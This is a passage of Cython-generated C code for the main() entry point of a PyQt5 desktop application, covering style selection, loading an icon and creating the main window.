__pyx_k_task[] = "task"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_QIcon[] = "QIcon"; static const char __pyx_k_QRect[] = "QRect"; static const char __pyx_k_QSize[] = "QSize"; static const char __pyx_k_icons[] = "icons"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_width[] = "width"; static const char __pyx_k_Fusion[] = "Fusion"; static const char __pyx_k_Oxygen[] = "Oxygen"; static const char __pyx_k_Screen[] = "Screen"; static const char __pyx_k_active[] = "active"; static const char __pyx_k_create[] = "create"; static const char __pyx_k_height[] = "height"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_main_2[] = "__main__"; static const char __pyx_k_taille[] = "taille"; static const char __pyx_k_Globals[] = "Globals"; static const char __pyx_k_QPixmap[] = "QPixmap"; static const char __pyx_k_decoder[] = "decoder"; static const char __pyx_k_receive[] = "receive"; static const char __pyx_k_Disabled[] = "Disabled"; static const char __pyx_k_setStyle[] = "setStyle"; static const char __pyx_k_addPixmap[] = "addPixmap"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_Preferences[] = "Preferences"; static const char __pyx_k_PyQt5_QtGui[] = "PyQt5.QtGui"; static const char __pyx_k_decoderList[] = "decoderList"; static const char __pyx_k_finish_flag[] = "finish flag"; static const char __pyx_k_to_compiled[] = "to_compiled"; static const char __pyx_k_Devel___main[] = "Devel.__main__"; static const char __pyx_k_PyQt5_QtCore[] = "PyQt5.QtCore"; static const char __pyx_k_QApplication[] = "QApplication"; static const char __pyx_k_decoder_task[] = "decoder_task"; static const char __pyx_k_QStyleFactory[] = "QStyleFactory"; static const char __pyx_k_primaryScreen[] = "primaryScreen"; static const char __pyx_k_gui_MainWindow[] = "gui.MainWindow"; static const char __pyx_k_PyQt5_QtWidgets[] = "PyQt5.QtWidgets"; static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; static const char __pyx_k_Users_yveshuguenin_Devel___main[] = "/Users/yveshuguenin/Devel/__main__.py"; static const char __pyx_k_Ressources_icons_finish_flag_png[] = "Ressources/icons/finish_flag.png"; static PyObject *__pyx_n_s_Devel___main; static PyObject *__pyx_n_s_Disabled; static PyObject *__pyx_n_u_Fusion; static PyObject *__pyx_n_s_Globals; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_s_On; static PyObject *__pyx_n_u_Oxygen; static PyObject *__pyx_n_s_Preferences; static PyObject *__pyx_n_s_PyQt5_QtCore; static PyObject *__pyx_n_s_PyQt5_QtGui; static PyObject *__pyx_n_s_PyQt5_QtWidgets; static PyObject *__pyx_n_s_QApplication; static PyObject *__pyx_n_s_QIcon; static PyObject *__pyx_n_s_QPixmap; static PyObject *__pyx_n_s_QRect; static PyObject *__pyx_n_s_QSize; static PyObject *__pyx_n_s_QStyleFactory; static PyObject *__pyx_kp_u_Ressources_icons_finish_flag_png; static PyObject *__pyx_n_s_Screen; static PyObject *__pyx_kp_s_Users_yveshuguenin_Devel___main; static PyObject *__pyx_n_u_active; static PyObject *__pyx_n_s_addPixmap; static PyObject *__pyx_n_s_app; static PyObject *__pyx_n_s_argv; static PyObject *__pyx_n_s_cline_in_traceback; static PyObject *__pyx_n_s_create; static PyObject *__pyx_n_s_dec; static PyObject *__pyx_n_s_decoder; static PyObject *__pyx_n_s_decoderList; static PyObject *__pyx_n_s_decoder_task; static PyObject *__pyx_n_s_exec; static PyObject *__pyx_kp_u_finish_flag; static PyObject *__pyx_n_s_gui_MainWindow; static PyObject *__pyx_n_s_height; static PyObject *__pyx_n_s_icons; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_keys; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_main_2; static PyObject *__pyx_n_u_main_2; static PyObject *__pyx_n_s_name; static PyObject *__pyx_n_s_pref; static PyObject *__pyx_n_s_primaryScreen; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_receive; static PyObject *__pyx_n_s_setStyle; static PyObject *__pyx_n_s_size; static PyObject *__pyx_n_s_sys; static PyObject *__pyx_n_s_taille; static PyObject *__pyx_n_s_task; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_to_compiled; static PyObject *__pyx_n_s_width; static PyObject *__pyx_pf_5Devel_8__main___main(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_codeobj__5; /* Late includes */ /* "Devel/__main__.py":18 * from Preferences import Preferences as pref * * def main(): # <<<<<<<<<<<<<< * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): */ /* Python wrapper */ static PyObject *__pyx_pw_5Devel_8__main___1main(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ static PyMethodDef __pyx_mdef_5Devel_8__main___1main = {"main", (PyCFunction)__pyx_pw_5Devel_8__main___1main, METH_NOARGS, 0}; static PyObject *__pyx_pw_5Devel_8__main___1main(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("main (wrapper)", 0); __pyx_r = __pyx_pf_5Devel_8__main___main(__pyx_self); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5Devel_8__main___main(CYTHON_UNUSED PyObject *__pyx_self) { PyObject *__pyx_v_app = NULL; PyObject *__pyx_v_taille = NULL; CYTHON_UNUSED PyObject *__pyx_v_height = NULL; CYTHON_UNUSED PyObject *__pyx_v_width = NULL; PyObject *__pyx_v_dec = NULL; PyObject *__pyx_v_task = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; int __pyx_t_6; int __pyx_t_7; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; PyObject *__pyx_t_10 = NULL; Py_ssize_t __pyx_t_11; PyObject *(*__pyx_t_12)(PyObject *); __Pyx_RefNannySetupContext("main", 0); /* "Devel/__main__.py":19 * * def main(): * app = QApplication(sys.argv) # <<<<<<<<<<<<<< * if "Oxygen" in QStyleFactory.keys(): * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QApplication); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_sys); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_argv); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_app = __pyx_t_1; __pyx_t_1 = 0; /* "Devel/__main__.py":20 * def main(): * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): # <<<<<<<<<<<<<< * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QStyleFactory); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_keys); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_6 = (__Pyx_PySequence_ContainsTF(__pyx_n_u_Oxygen, __pyx_t_1, Py_EQ)); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = (__pyx_t_6 != 0); if (__pyx_t_7) { /* "Devel/__main__.py":21 * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style # <<<<<<<<<<<<<< * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion * app.setStyle( QStyleFactory.create("Fusion") ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_app, __pyx_n_s_setStyle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QStyleFactory); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":20 * def main(): * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): # <<<<<<<<<<<<<< * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion */ goto __pyx_L3; } /* "Devel/__main__.py":22 * if "Oxygen" in QStyleFactory.keys(): * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion # <<<<<<<<<<<<<< * app.setStyle( QStyleFactory.create("Fusion") ) * */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QStyleFactory); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_keys); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_n_u_Fusion, __pyx_t_1, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = (__pyx_t_7 != 0); if (__pyx_t_6) { /* "Devel/__main__.py":23 * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion * app.setStyle( QStyleFactory.create("Fusion") ) # <<<<<<<<<<<<<< * * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_app, __pyx_n_s_setStyle); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QStyleFactory); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_create); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":22 * if "Oxygen" in QStyleFactory.keys(): * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion # <<<<<<<<<<<<<< * app.setStyle( QStyleFactory.create("Fusion") ) * */ } __pyx_L3:; /* "Devel/__main__.py":25 * app.setStyle( QStyleFactory.create("Fusion") ) * * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) # <<<<<<<<<<<<<< * Globals.MainWindow = MainWindow() * Globals.Screen = app.primaryScreen() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_icons); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_kp_u_finish_flag); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addPixmap); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QPixmap); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QIcon); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Disabled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QIcon); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_On); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_t_5, __pyx_t_2, __pyx_t_8}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_t_5, __pyx_t_2, __pyx_t_8}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_10 = PyTuple_New(3+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 2+__pyx_t_9, __pyx_t_8); __pyx_t_5 = 0; __pyx_t_2 = 0; __pyx_t_8 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":26 * * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) * Globals.MainWindow = MainWindow() # <<<<<<<<<<<<<< * Globals.Screen = app.primaryScreen() * taille = Globals.Screen.size() */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_MainWindow); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_10) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) 